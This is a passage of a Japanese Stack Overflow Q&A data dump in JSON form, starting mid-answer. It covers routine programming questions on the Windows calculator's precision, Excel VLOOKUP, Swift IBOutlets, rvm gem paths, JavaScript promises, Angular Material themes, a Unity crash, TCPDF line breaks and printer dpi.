= [[NSMutableArray alloc] initWithObjects:@\"食品\", @\"服\", @\"おもちゃ\", @\"家電\", @\"本\", nil];\n }\n \n -(NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section {\n return [categoriesArray count];\n }\n \n -(UITableViewCell *)tableView: (UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath {\n UITableViewCell *cell = [self.tableView dequeueReusableCellWithIdentifier:@\"Cell\" forIndexPath:indexPath];\n cell.textLabel.text = categoriesArray[indexPath.row];\n \n return cell;\n }\n \n @end\n \n```", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T09:31:56.747", "id": "20367", "last_activity_date": "2015-12-25T21:28:09.840", "last_edit_date": "2015-12-25T21:28:09.840", "last_editor_user_id": "7362", "owner_user_id": "7362", "parent_id": "20364", "post_type": "answer", "score": 1 } ]
20364
20367
20367
{ "accepted_answer_id": null, "answer_count": 2, "body": "Windowsの電卓ですが、Double型とDecimal型のいいとこ取りといいますか、両方の特徴を有しています。 \n具体的には、 \nA.\n0.1+0.1+0.1・・・と加算をしていくと、Double型では誤差が出て0.3じゃなくなり、Decimalはちゃんと0.3、というようなことになります。 \nしかし電卓ではちゃんと0.3なり0.9となります。\n\nB. 1 / 3 * 3 を順に計算すると、Double型では1.0となり、Decimalだと0.9999999999999となってしまいます。 \nしかし電卓ではちゃんと 1 になります。途中、1/3の時点で0.33333333333となってしまうにも関わらず、です。\n\nこのように、電卓はいたって普通の計算結果ではあるのですが、言語の型ではいいとこ取りに見えます。 \nどのような処理をしているのでしょうか?", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T08:25:48.433", "favorite_count": 0, "id": "20365", "last_activity_date": "2016-02-01T10:56:16.923", "last_edit_date": "2015-12-25T10:27:45.120", "last_editor_user_id": "4236", "owner_user_id": "13808", "post_type": "question", "score": 10, "tags": [ "windows" ], "title": "Windowsの電卓の内部変数の型について", "view_count": 1927 }
[ { "body": "Microsoft Excelも1/3*3が1となります。Excelでの挙動については「[Excel\nで浮動小数点演算の結果が正しくない場合がある](https://support.microsoft.com/ja-\njp/kb/78113)」に記載があります。おそらくは同じような実装になっているのでしょう。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T08:37:50.553", "id": "20533", "last_activity_date": "2016-01-02T08:37:50.553", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "12774", "parent_id": "20365", "post_type": "answer", "score": 0 }, { "body": "[When you change the insides, nobody notices | The Old New\nThing](https://blogs.msdn.microsoft.com/oldnewthing/20040525-00/?p=39193/)\nによると、元々IEEE標準の浮動小数点数演算に準拠していたのが、四則演算に限り任意精度演算が行えるように書き直されたようです。具体的な時期は書かれていませんが、手元の98SEでもそれらしい挙動が確認できました。\n\n当時は本当に値域に制限がなかったらしく、どこまで `n!` を計算できるか、なんてスレッドまで。\n\n[What's the highest number you can put in the Windows calculator - AnandTech\nForums](http://forums.anandtech.com/showthread.php?s=64c38dcc774dd858651f4beb8b98fbbf&t=137344)\n\nただ、上記スレの最後のページにもあるように、Win7からは 10^9999\nあたりを超えたところで「オーバーフローしました」と表示されるようになっていますね。\n\n[What is the largest number that can be use use in window 7 calculator -\nMicrosoft Community](http://answers.microsoft.com/en-\nus/windows/forum/windows_7-windows_programs/what-is-the-largest-number-that-\ncan-be-use-use-in/dc54ec50-22b9-44db-a284-38cc8f6da1b2?auth=1)", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-02-01T10:56:16.923", "id": "21576", "last_activity_date": "2016-02-01T10:56:16.923", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "8000", "parent_id": "20365", "post_type": "answer", "score": 5 } ]
20365
null
21576
{ "accepted_answer_id": null, "answer_count": 1, "body": "エクセルシートAの、ある列に1から順に番号が振ってあるとします。 \nエクセルシートBの、ある列にいくつかの数値が順に振ってあるとします。 \nシートBの数値のみ、シートAから取り出すにはどのような方法があるでしょうか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T10:15:18.180", "favorite_count": 0, "id": "20368", "last_activity_date": "2021-03-25T17:45:58.747", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13381", "post_type": "question", "score": 0, "tags": [ "excel" ], "title": "エクセルで決まった数値のみ抽出する方法", "view_count": 759 }
[ { "body": "`VLOOKUP`とフィルタを使う方法\n\nシートAのA列に1から順に番号が振ってある(1行目は項目名として2行目から入力されている) \nシートBのA列にいくつかの数値が順に振ってある\n\nシートAのB列に`=VLOOKUP(A2,シートB!数値の範囲を絶対指定(例:$A$1:$A$10),1,FALSE)` \nを入力しフィル(A列の数だけコピーする、右下をダブルクリック) \nシートBの指定範囲に無い場合`#N/A`になるので、 \nフィルタで等しくないで`#N/A`を設定する。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T11:41:38.050", "id": "20371", "last_activity_date": "2015-12-25T11:41:38.050", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5044", "parent_id": "20368", "post_type": "answer", "score": 2 } ]
20368
null
20371
{ "accepted_answer_id": "20396", "answer_count": 1, "body": "こんにちは、一日中ハマっていたので質問させて下さい・・!\n\nTableViewに返すCustomViewCellを作成しています。\n\n**・やりたいこと** \n大本のTableViewから、各xibファイルをレンダリングし、 \nそこでのデータを取ってきた後、それを元に処理するというのを実装しようとしたところ、 \n躓いてしまいました。\n\n**・状況** \nnibファイルを複数作成しており、そのTableViewのrowに応じて nibファイルをレンダリングしようとしております。 \nnibファイルには、cellにTextFieldクラスの物や、 UIPickerViewクラスのもの、 ボタンしかないものの3種類です。\n\n以下のUITableViewCellを継承したCustomAddTrainingクラスは、複数のnibファイルに使用できるように、一つのファイルにまとめてあります。 \nもちろん各nibファイルにはこのCustomAddTrainingに設定してあります。 \nそれが以下のソースです。\n\n**・問題点** \n現在の問題は、 \nmyPicker :UIPickerView!と decideButton: UIButton!がnilと判定されることです。 \nUITextField!はnilではなく、問題なく動いているのですが、この2つがどうしてもnilとなってしまいます。\n\n(当たり前ですが)ファイルを1つにまとめずに作れば問題なく動くのですが、 \nUITableViewCellを継承した一つのファイルにまとめると、宣言下のにも関わらず認識されません。\n\nなぜなんでしょうか?ご教授願います!\n\n```\n\n import UIKit\n \n class CustomAddTraining: UITableViewCell, UITextFieldDelegate, UIPickerViewDataSource, UIPickerViewDelegate {\n \n let category = [\"Front\", \"Back\", \"Abnominal\", \"Leg\", \"Hip\"]\n \n @IBOutlet weak var done: UIButton!\n @IBOutlet weak var decideButton: UIButton!\n @IBOutlet weak var myTextField: UITextField!\n \n @IBOutlet weak var myPicker: UIPickerView!\n \n \n \n override func awakeFromNib() {\n super.awakeFromNib()\n \n if myTextField != nil {\n myTextField.delegate = self\n myTextField.borderStyle = .RoundedRect\n }\n \n if myPicker.delegate != nil {\n myPicker.delegate = self\n }\n if myPicker.dataSource != nil {\n myPicker.dataSource = self\n }\n \n decideButton?.hidden = true\n }\n \n \n override func setSelected(selected: Bool, animated: Bool) {\n super.setSelected(selected, animated: animated)\n \n // Configure the view for the selected state\n \n }\n \n func textFieldDidBeginEditing(textField: UITextField) {\n decideButton.hidden = false\n }\n \n @IBAction func decideAction(sender: AnyObject) {\n textFieldShouldReturn(myTextField)\n }\n \n func textFieldShouldEndEditing(textField: UITextField) -> Bool {\n decideButton.hidden = true\n return true\n }\n func textFieldShouldReturn(textField: UITextField) -> Bool {\n myTextField.resignFirstResponder()\n return true\n }\n \n //pickerに表示する列数を返すデータ・ソースメソッド\n func numberOfComponentsInPickerView(pickerView: UIPickerView) -> Int{\n return 1\n }\n \n //行数を返す\n func pickerView(pickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int{\n return category.count\n \n }\n //表示するデータを返す\n func pickerView(pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? {\n return category[row]\n }\n func pickerView(pickerView: UIPickerView, didSelectRow row: Int, inComponent component: Int) {\n print(category[row])\n }\n \n \n } \n \n```", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T12:06:50.780", "favorite_count": 0, "id": "20372", "last_activity_date": "2015-12-26T08:55:09.887", "last_edit_date": "2015-12-25T12:21:40.347", "last_editor_user_id": "7362", "owner_user_id": "5828", "post_type": "question", "score": 0, "tags": [ "ios", "swift" ], "title": "複数のxibファイルを一括で管理するカスタムクラスを作成したが、、", "view_count": 558 }
[ { "body": "> nibファイルを複数作成しており、そのTableViewのrowに応じて nibファイルをレンダリングしようとしております。 \n> nibファイルには、cellにTextFieldクラスの物や、 UIPickerViewクラスのもの、 ボタンしかないものの3種類です。\n>\n>\n> 以下のUITableViewCellを継承したCustomAddTrainingクラスは、複数のnibファイルに使用できるように、一つのファイルにまとめてあります。\n\nこの場合、nib ファイルによっては「接続していない outlet 」があると思うのですが、`CustomAddTraining`\nクラスがインスタンス化されたとき、それらはそのまま `nil` になります。\n\nですので、コード中で接続されていない可能性のある outlet にアクセスするときは、`nil` である場合を想定しておく必要があります。\n\nあとは通常 Swift でオプショナルな値を扱う方法で書き直せばいいのですが、この場合は outlet の型が\n`ImplicitlyUnwrappedOptional` になっているのがそもそも実状に合っていないので、`Optional`\nに変更してしまうのがいいのではないかなと思います:\n\n```\n\n @IBOutlet weak var done: UIButton?\n @IBOutlet weak var decideButton: UIButton?\n @IBOutlet weak var myTextField: UITextField?\n \n @IBOutlet weak var myPicker: UIPickerView?\n \n```\n\n変更すると、コンパイラが修正の必要な箇所を指摘してくれると思います。", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T07:03:10.693", "id": "20396", "last_activity_date": "2015-12-26T08:55:09.887", "last_edit_date": "2015-12-26T08:55:09.887", "last_editor_user_id": "2299", "owner_user_id": "2299", "parent_id": "20372", "post_type": "answer", "score": 3 } ]
20372
20396
20396
{ "accepted_answer_id": null, "answer_count": 1, "body": "Google Hangput APIについてご教示ください。\n\nお年寄りにも利用できるようにボタンをクリックすると、決まった人にHangoutコールするようにしたいのですが \nGoogle APIを利用して可能なのでしょうか?\n\nどなたかご存知であれば、お願いいたします。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T13:07:56.670", "favorite_count": 0, "id": "20375", "last_activity_date": "2016-01-25T10:53:51.867", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13745", "post_type": "question", "score": 1, "tags": [ "javascript" ], "title": "Google-hangout", "view_count": 121 }
[ { "body": "Google+ Hangout buttonを使うと、かんたんに実装できます。\n\nボタンのパラメータに用意されている`invites`を使うと、以下のいずれかの形式で特定のユーザー(複数可)をハングアウトに招待できます。\n\n * Google+プロフィールID\n * Google+サークルID\n * メールアドレス\n * 電話番号\n\nあくまで招待ですので、ボタンをクリックしたのち、表示されるダイアログで「招待」ボタンをクリックしてもらう必要はありますが、ほぼ目的は達成できそうです。\n\n参考: \n<https://developers.google.com/+/hangouts/button#inviting_people_to_the_hangout>\n\n例えば、メールアドレスで招待するJavaScriptコード例は、以下の通りです。\n\n```\n\n gapi.hangout.render(\"ボタンをレンダリングしたいID\", {\n render: \"createhangout\"\n invites: [{\n id : \"招待したいメールアドレス\"\n invite_type : \"EMAIL\"\n }]\n })\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T08:15:57.993", "id": "20399", "last_activity_date": "2015-12-26T08:15:57.993", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "10292", "parent_id": "20375", "post_type": "answer", "score": 1 } ]
20375
null
20399
{ "accepted_answer_id": "20383", "answer_count": 1, "body": "[zmoazeni/csscss](https://github.com/zmoazeni/csscss)を \n`% gem install csscss` \n(ホームディレクトリで)しました。\n\nほとんどのディレクトリ(ホームディレクトリとか)で、 \n`% csscss` \nと打てば問題なく使えます。\n\n## bundlerが怪しい?\n\nGemfileを用意し \n`bundle install --path`したプロジェクト配下のディレクトリ(myprojectディレクトリとします)では、\n\n```\n\n % csscss\n zsh: command not found: csscss\n \n```\n\nとなります。このディレクトリのGemfileには、`csscss`をインストールするという記述はしておりません。(推測ですが`.bundle/config`があるディレクトリでは`command\nnot found`になる?)\n\n```\n\n % which csscss (ホームディレクトリその他で)\n /Users/shingo/.rvm/gems/ruby-2.2.3/bin/csscss\n \n```\n\nなので絶対パスで呼び出してみてもだめでした。\n\n```\n\n % /Users/shingo/.rvm/gems/ruby-2.2.3/bin/csscss\n /Users/shingo/.rvm/rubies/ruby-2.2.4/lib/ruby/site_ruby/2.2.0/rubygems/dependency.rb:315:in `to_specs': Could not find 'csscss' (>= 0) among 23 total gem(s) (Gem::LoadError)\n Checked in 'GEM_PATH=/Users/shingo/Documents/raku/myproject/vendor/bundle/ruby/2.2.0', execute `gem env` for more information\n \n```\n\n## rvmが怪しい?\n\n加えて怪しいのが`rvm`を使っているので、`rvm`です。\n\n該当プロジェクト(myprojectディレクトリ)は\n\n```\n\n % cat .ruby-version \n 2.2.4\n \n % ruby -v\n ruby 2.2.4p230 (2015-12-16 revision 53155) [x86_64-darwin15]\n \n```\n\nホームディレクトリでは\n\n```\n\n ruby -v\n ruby 2.2.3p173 (2015-08-18 revision 51636) [x86_64-darwin14]\n \n```\n\nなので、rubyのバージョンのせいな気もしてきました.....\n\n他のディレクトリで使えるので、問題ないといえば問題ないのですが、 \n理屈が気になります。また合わせて、`command not found`となってしまうディレクトリからコマンドを呼び出す方法も知りたいです。\n\n* * *\n\n追記: \n念のため該当ディレクトリで下記を試しました\n\n```\n\n % bundle exec csscss\n bundler: command not found: csscss\n \n```\n\n(今回は`gem install`したものであって、`bundle install`したものでないのでこの挙動は当然のはず)\n\n## 上記だと問題が切り分けられてないので切り分けました\n\n新しくhogeディレクトリを作成し、 \nその中で、\n\n```\n\n ruby -v\n ruby 2.2.4p230 (2015-12-16 revision 53155) [x86_64-darwin15]\n \n```\n\nとなるようにした途端、\n\n```\n\n csscss\n zsh: command not found: csscss\n \n```\n\nとなったので、原因は`rvm`(rubyのバージョン関係)だと思います。\n\n### rubyのバージョンが違う状態で絶対パスで呼ぶ\n\nrubyのバージョンが2.2.4になった状態で、2.2.3のbinを見にいってもだめなようです。\n\n```\n\n % /Users/shingo/.rvm/gems/ruby-2.2.3/bin/csscss\n /Users/shingo/.rvm/rubies/ruby-2.2.4/lib/ruby/site_ruby/2.2.0/rubygems/dependency.rb:315:in `to_specs': Could not find 'csscss' (>= 0) among 11 total gem(s) (Gem::LoadError)\n Checked in 'GEM_PATH=/Users/shingo/.rvm/gems/ruby-2.2.4:/Users/shingo/.rvm/gems/ruby-2.2.4@global', execute `gem env` for more information\n from /Users/shingo/.rvm/rubies/ruby-2.2.4/lib/ruby/site_ruby/2.2.0/rubygems/dependency.rb:324:in `to_spec'\n from /Users/shingo/.rvm/rubies/ruby-2.2.4/lib/ruby/site_ruby/2.2.0/rubygems/core_ext/kernel_gem.rb:64:in `gem'\n from /Users/shingo/.rvm/gems/ruby-2.2.3/bin/csscss:22:in `<main>'\n from /Users/shingo/.rvm/gems/ruby-2.2.4@global/bin/ruby_executable_hooks:15:in `eval'\n from /Users/shingo/.rvm/gems/ruby-2.2.4@global/bin/ruby_executable_hooks:15:in `<main>'\n \n```\n\nもはや、古いバージョンのことは忘れて、gem installをバージョンごとにし直しということでしょうか...", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T15:26:36.683", "favorite_count": 0, "id": "20377", "last_activity_date": "2015-12-26T00:26:55.920", "last_edit_date": "2015-12-26T00:26:48.810", "last_editor_user_id": "9008", "owner_user_id": "9008", "post_type": "question", "score": 0, "tags": [ "ruby", "rubygems", "bundler", "rvm" ], "title": "gem installしたモノが特定ディレクトリ配下だけcommand not found", "view_count": 531 }
[ { "body": "RVM管理化のrubyはバージョンごとに独立した環境なので、あるバージョンのrubyの環境でインストールしたgemは他のバージョンのrubyからは見えません。それぞれの環境ごとに必要なgemをインストールする必要があります。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T00:26:55.920", "id": "20383", "last_activity_date": "2015-12-26T00:26:55.920", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5793", "parent_id": "20377", "post_type": "answer", "score": 1 } ]
20377
20383
20383
{ "accepted_answer_id": "20386", "answer_count": 1, "body": "以下を参考に、 \n背景やボタンが暗くなるのかな?と思い、試してみました。\n\n> Angular Material / Theming \n> Configuring a Theme \n> Specifying Dark Themes \n> <https://goo.gl/W2SvuR> \n> \\-- \n> You can mark a theme as dark by calling theme.dark().\n\n結果、なってないのですが、\n\n 1. theme.dark() では、そもそも何が暗くなるのでしょう?\n\n 2. そして、どうすれば暗くなるのでしょう?\n\nCodePen で試していますので、ご確認下さい。\n\n> CodePen \n> <http://goo.gl/6I1ANC>\n```\n\n angular.module('app', ['ngMaterial'])\n .controller('appCtrl', function($scope) {})\n \n .config(function($mdThemingProvider) {\n $mdThemingProvider.theme('default')\n .dark();\n })\n```\n\n```\n\n <script src=\"https://s3-us-west-2.amazonaws.com/s.cdpn.io/t-114/assets-cache.js\"></script>\n <script src=\"https://ajax.googleapis.com/ajax/libs/angular_material/1.0.0/angular-material.js\"></script>\n <script src=\"https://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular-aria.min.js\"></script>\n <script src=\"https://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular-animate.min.js\"></script>\n <script src=\"https://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular.min.js\"></script>\n <link href=\"https://ajax.googleapis.com/ajax/libs/angular_material/1.0.0/angular-material.min.css\" rel=\"stylesheet\" />\n <div ng-app=\"app\" ng-controller=\"appCtrl\">\n <md-button class=\"md-raised md-primary\">A</md-button>\n </div>\n```", "comment_count": 0, "content_license": "CC BY-SA 4.0", "creation_date": "2015-12-25T19:22:18.987", "favorite_count": 0, "id": "20378", "last_activity_date": "2019-12-13T20:14:58.070", "last_edit_date": "2020-06-17T08:14:45.997", "last_editor_user_id": "-1", "owner_user_id": "13813", "post_type": "question", "score": 0, "tags": [ "angularjs", "angular-material" ], "title": "Angular Material で theme.dark() を効かせたい", "view_count": 191 }
[ { "body": "枠線や段落の背景を暗くする定義ですので、\n\n```\n\n <div ng-app=\"app\" ng-controller=\"appCtrl\">\n <md-content>\n <md-button class=\"md-raised md-primary\">A</md-button>\n </md-content>\n </div>\n \n```\n\nのように、`<md-content>`などで囲むと適用されます。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T01:32:28.010", "id": "20386", "last_activity_date": "2015-12-26T01:32:28.010", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5778", "parent_id": "20378", "post_type": "answer", "score": 0 } ]
20378
20386
20386
{ "accepted_answer_id": null, "answer_count": 1, "body": "以前までUnityプロジェクトを起動した際に出ていなかった警告が、急に \n以下の警告が出るようになってしまい、\n\n> Tiled GPU perf. warning: RenderTexture color surface (0x0) was not \n> cleared/discarded, doing \n> UnityEditor.DockArea:OnGUI()\n\n実行した場合には、以下の文が表示されUnityごと落ちてしまいます。\n\n> The file 'MemoryStream' is corrupted! Remove it and launch unity \n> again! [Position out of bounds!]\n\n使用しているUnityのバージョンは5.3.1です。 \n何か良い解決方法がありましたら教えていただけると幸いです。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T21:13:16.983", "favorite_count": 0, "id": "20380", "last_activity_date": "2015-12-26T03:32:08.393", "last_edit_date": "2015-12-26T03:32:08.393", "last_editor_user_id": "7290", "owner_user_id": "13793", "post_type": "question", "score": 0, "tags": [ "unity3d" ], "title": "Unityの実行ができず落ちてしまいます。", "view_count": 6895 }
[ { "body": "同様のエラーメッセージが出た人の[ブログ](http://yanpen.net/2015/12/25/unitythe-file-memorystream-\nis-corrupted-remove-it-and-launch-unity-\nagain/)によると、LibraryフォルダとTempフォルダを削除後、エディタを再起動したら直るようです。 \n(LibraryとTempは自動生成なので消しても大丈夫とのこと)\n\nUnity公式フォーラムの同様のエントリに寄せられた[回答](http://forum.unity3d.com/threads/unity-4-5-memory-\nstream-is-\ncorrupted.248356/#post-1719534)には「プロジェクトで使ってるプレハブなどの参照先が存在しない時に発生するっぽい。存在しない参照先を[自作スクリプト](http://forum.unity3d.com/threads/editor-\nwant-to-check-all-prefabs-in-a-project-for-an-attached-\nmonobehaviour.253149/#post-1673716)で全部抽出して、修正したら直ったよ」(意訳)と書かれています。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T21:55:46.783", "id": "20381", "last_activity_date": "2015-12-25T22:34:39.153", "last_edit_date": "2015-12-25T22:34:39.153", "last_editor_user_id": "9820", "owner_user_id": "9820", "parent_id": "20380", "post_type": "answer", "score": 2 } ]
20380
null
20381
{ "accepted_answer_id": "20467", "answer_count": 1, "body": "WEBアプリケーションからPDFで帳票を出力させようとしています。 \nテンプレートを読み込んで、その上に追記するため、 \nFPDI(ver 1.6.0) + TCPDF(ver 6.2.12)の組み合わせで出力しています。\n\nMultiCellで長文を出力する際に、文字列が一塊として出るように自動調整され、 \n中途半端に改行したくてもできません。 \n※2行分しか表示できる幅がないため、横幅で可能な限り表示できるようにしたい。\n\n例:全角9文字まで出力できるセルに【 あいうえお かきくけこ さしすせそ 】を出力する際 \n▼表示したい内容 \nあいうえお かきく \nけこ さしすせそ \n▼実際 \nあいうえお \nかきくけこ \nさしすせそ \n※三行目は見えない\n\n```\n\n //表示処理 \n $target= 'あいうえお かきくけこ さしすせそ'; \n $cell_w = 45; \n $cell_h = 12; \n $this->Receipt->MultiCell($cell_w, $cell_h, $target, 1, 'L', 0, 0, $col, $row, true, 0, false, true, $cell_h, 'M', false);\n \n```\n\nどうすれば自動調整をなくせるでしょうか? \nよろしくお願い致します。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-25T23:43:48.700", "favorite_count": 0, "id": "20382", "last_activity_date": "2015-12-30T03:58:35.813", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "10977", "post_type": "question", "score": 0, "tags": [ "php", "pdf" ], "title": "TCPDFのMultiCellの改行について", "view_count": 6532 }
[ { "body": "こんにちは。\n\n確かにテストしてみると同じような現象が起きますね。 \nあいうえお・・・といった文字列以外にもテストしましたが、正しくスペースを表示したり改行したりと曖昧な結果になってしまいました。\n\n解決策としては、MultiCellの引数でHtmlモードをオンにして、スペースの代わりにお馴染みの`&nbsp;`を使うことで解決しました。お試しください。\n\n```\n\n $targetHtml = str_replace(\" \", \"&nbsp;\", $target) // Html形式に変換\n \n $cell_w = 45; \n $cell_h = 12; \n \n //12番目の引数をfalseからtrueに\n $this->Receipt->MultiCell($cell_w, $cell_h, $targetHtml, 1, 'L', 0, 0, $col, $row, true, 0, true /* ishtml=true */ , true, $cell_h, 'M', false); \n \n```", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T03:58:35.813", "id": "20467", "last_activity_date": "2015-12-30T03:58:35.813", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13097", "parent_id": "20382", "post_type": "answer", "score": 0 } ]
20382
20467
20467
{ "accepted_answer_id": "20388", "answer_count": 1, "body": "**Thenableについて** \n・どういう意味? \n・then メソッドを持っているオブジェクトがThenable? \n・promiseで、.thenと書けばThenable? \n・それとも、promiseオブジェクト間の相互変換がThenable?\n\n* * *\n\n**下記記述で、なぜQ promiseオブジェクトへ変換することが出来るのでしょうか?** \n・Qライブラリ専用の書き方?\n\n```\n\n // Q promiseオブジェクトに変換する\n Q(promise).then(function(value){\n console.log(value);\n })\n \n```\n\n> Q(thenable) とすることでThenableなオブジェクトをQ promiseオブジェクトへと変換することが出来ます\n\n<https://github.com/azu/promises-\nbook/blob/master/Ch4_AdvancedPromises/resolve-thenable.adoc#Thenable>\n\n* * *\n\n**「ES6 のPromisesオブジェクト」を、「他ライブラリの Promises風オブジェクト」へ変換する方法について**\n\n・他ライブラリが、promiseオブジェクトを返す関数を公開APIとして用意していれば、それに従うだけ? \n・Thenableという考え方が共通しているだけで、相互変換実装方法はライブラリ毎に異なるということでしょうか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T00:49:38.623", "favorite_count": 0, "id": "20384", "last_activity_date": "2015-12-27T03:15:59.113", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7886", "post_type": "question", "score": 0, "tags": [ "ecmascript-6" ], "title": "ES6 Promisesのpromiseオブジェクトを、他ライブラリの promise風オブジェクトへ変換するには?", "view_count": 103 }
[ { "body": "Q Promiseについてはあまり詳しくないので参考程度ですが\n\n> ### Thenableについて\n>\n> then メソッドを持っているオブジェクトがThenable?\n\nthenを持っているPromiseのようなオブジェクトのことをいいます\n\n> ### 下記記述で、なぜQ promiseオブジェクトへ変換することが出来るのでしょうか?\n\n`Q(promise)`はQ\nPromiseオブジェクトを返します。引数としてthenableなオブジェクトを与えるとそれをPromiseに変換するのではないでしょうか?\n\n> ### 「ES6 のPromisesオブジェクト」を、「他ライブラリの Promises風オブジェクト」へ変換する方法について\n>\n> 他ライブラリが、promiseオブジェクトを返す関数を公開APIとして用意していれば、それに従うだけ? \n> Thenableという考え方が共通しているだけで、相互変換実装方法はライブラリ毎に異なるということでしょうか?\n\n 1. ES6 Promiseの場合はその関数は`Promise.resolve`になります。その関数や方法はライブラリによって異なります\n\n 2. [Promiseについての注意書き](http://azu.github.io/promises-book/#ch2-promise-resolve)\n\n> then というメソッドを持っていた場合でも、必ずES6 Promisesとして使えるとは限らない事は知っておくべきでしょう。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T03:07:31.867", "id": "20388", "last_activity_date": "2015-12-27T03:15:59.113", "last_edit_date": "2015-12-27T03:15:59.113", "last_editor_user_id": "5246", "owner_user_id": "5246", "parent_id": "20384", "post_type": "answer", "score": 0 } ]
20384
20388
20388
{ "accepted_answer_id": "20397", "answer_count": 1, "body": "* [A4の紙に印刷するのに一番フィットする解像度って何ピクセル×何ピクセルです... - Yahoo!知恵袋](http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q129565177)\n\n> 商業印刷(DTPデータ入稿)に使うなら、175線で製版する場合は350dpi必要となりますので、 \n> (略) \n> インクジェットプリンタでプリントする程度なら、200dpiで計算し直してください。\n\nここでいう350dpiや200dpiというのは、プリンター自体の設定のdpiでしょうか?\n\n * [印刷の設定を変更する](http://support.brother.co.jp/j/s/support/html/mfc6490cn_5890cn_jp/doc/html/body/sug-08-5.html)\n\nには下記の通りWxYという表記なので、どうやってプリンターのdpiを考えたらよいのかわかりません。(そもそも自分のプリンターが200dpiなのかどうか確認したい)\n\n```\n\n | 設定 | 解像度 |\n |------------------|-----------------------------------|\n | 最高速 | 600×150(カラー)450×300(モノクロ)|\n | 高速 | 600×300 |\n | 普通 | 600×600 |\n | きれい | 1200×1200 |\n | 写真 | 1200×2400 |\n | 写真(最高画質) | 1200×6000 |\n \n```", "comment_count": 9, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T02:41:37.940", "favorite_count": 0, "id": "20387", "last_activity_date": "2015-12-27T03:23:30.417", "last_edit_date": "2015-12-26T06:02:07.540", "last_editor_user_id": "8000", "owner_user_id": "9008", "post_type": "question", "score": 6, "tags": [ "dpi" ], "title": "プリンターのdpiの意味がわかりません", "view_count": 6841 }
[ { "body": "## 350dpi, 200dpi\n\n知恵袋に書かれている 350dpi や 200dpi というのは、画像データの細かさの話です。要するに、\n\n * これより低い解像度・画素数だと、人間が見て粗く感じる・ぼやけて見える\n * これより高い解像度・画素数にしても、プリンタの性能上再現できない、もしくは人間には見分けがつかない\n\nといった基準で得られた数字です。例えば「350dpiでA4サイズの印刷をするには2894x4093px必要だ」といったかたちで使われます。\n\nもっとも、画像データのdpiというのは「表示・印刷する際の大きさ(mm)」を計算するための参考値に過ぎません。\n**画面に表示する際はデータ上の1px=ディスプレイの1pxとして表示してしまうことが多い**\nですし、印刷する際もアプリケーションによっては無視してしまうことがあります。\n\nしかし対応しているソフトの場合、1377x1377pxの画像に350dpiと指定されていれば、これは10cmで出力すべきなんだと解釈し、(どんな印刷解像度のプリンタであれ)10cmになるように処理します。\n\nWindows Vista\n以降、[高dpiに対応していないアプリケーションを自動的に拡大表示する機能](http://ascii.jp/elem/000/000/901/901046/)がついていますが、これも96dpi指定の表示を出力解像度に合わせているわけですね。\n\n## 印刷解像度\n\nところで、一般的にフルカラー画像というのは1pxあたり色の濃さが256階調あるわけですが、印刷する際に吹き付けるインクの濃さを細かく変えるのは困難です。そこで、\n**原稿の解像度よりもさらに細かく位置を制御する**\nことで、1pxあたりの点の大きさ、もとい塗る面積を制御し、濃淡を再現しているのです。この細かさがプリンタの印刷解像度と言われるものです。\n\nですから、プリンタの解像度が1200dpiだからといって画像データを1200dpiで作成する必要はなく、結局200~350dpi程度のデータで十分、ということになります。\n\nEPSONのサイトにこんな説明もありました。\n\n> *\n> 印刷解像度の整数分の一倍(例えばプリンタの1440dpiの6分の1である240dpiなど)を指定すると、ジャギー(線のギザギザ)が目立たなくなります。\n> * モノクロ印刷を行う場合は、印刷解像度と同じ解像度の画像データをご用意ください。 \n> \\--- <http://www.epson.jp/manual/v/vz_3.htm#S-01700-00700-00100> 